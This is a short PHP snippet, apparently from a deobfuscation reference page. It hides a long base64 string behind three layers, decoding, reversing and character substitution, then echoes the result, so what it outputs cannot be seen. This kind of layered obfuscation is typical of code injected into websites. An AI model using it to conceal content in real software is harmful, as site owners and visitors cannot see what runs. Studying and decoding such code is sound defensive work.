- base64_decode: documentation ( source)
- strtr: documentation ( source)
- strrev: documentation ( source)
<?php
$_X="OykoT0FIc1ouWj5oaFYNOykpZSQsWyhxZXp6ZV9IcyhaWVE5X3plYwlWDVouWj9CVg1paHo8QlYNaT9WDTspKWUkLEwocWV6emVfSHMoWllROV96ZWMJVg07ZEwsVSxKLGssMGo+Uz5lJAlWDT5aLlo/Qmk/Pmw+OykiIihNczk+OylbYVtKMVtmMVUwaWh6PEJMMGloejxCW1VMSjFbZjFVMGloejxCaWh6PEJpaHo8QihPLjJNXT4pKXFlenpGLGQiVGc3bV9nSzZnS3AiamdLNmdLcF8kKHFlenplX0hzIShBcz5sPjspIiIoTXM5PjspW2FbSjFbZjFVMGloejxCTDBpaHo8QltVTEoxW2YxVTBpaHo8QmloejxCaWh6PEIoTy4yTV0+KSlxZXp6RixkImc0NEZfZ0s2Z0twImpnSzZnS3BfJChxZXp6ZV9IcyEoQXM+bD47KSIiKE1zOT47KVthW0oxW2YxVTBpaHo8QkwwaWh6PEJbVUxKMVtmMVUwaWh6PEJpaHo8QmloejxCKE8uMk1dPikpcWV6ekY+LGQiM2cgX1RwSyB3S2ciamdLNmdLcF8kKHFlenplX0hzIShBcz5sPjspcyRCCiQtKShNWXM9KE1Xcy59PjspKE1Zcz1TCiQ+OykpW1VMSjFbZjFVMD4tPikoTVlzPSgqKVtVTEoxW2YxVTA+LT5bYVtKMVtmMVUwKGhMMChXc00yPj5TPnMkPl0+KVtVTEoxW2YxVTA+aSkoTVlzPShBc01uV00+Pmw+OykiPW5NPT5tREs+SGU+bnM+bnMuVCIoTXM5PjspW2FbSjFbZjFVMGloejxCTDBpaHo8QltVTEoxW2YxVTBpaHo8QmloejxCaWh6PEIoTy4yTV0pW2FbSjFbZjFVMD5pKShNWXM9KEFz";
$_X=base64_decode($_X);
$_X=strrev($_X);
$_X = strtr($_X,
<<<HTML
SgPO9YZWFKmqyfxcjLJRzuM5vNts1b.{B4nC]i/2Dl0EheA
[d8=Qp>VXo H}6GIw7ka3TrU<
HTML
,
<<<HTML
=R9odmplAEPyk8gv[53xrMezqZHi7YhW<DsG{>CcX}1N/afj6]JtuS
.BUnwVKLQO20ITF4b
HTML
);
echo($_X);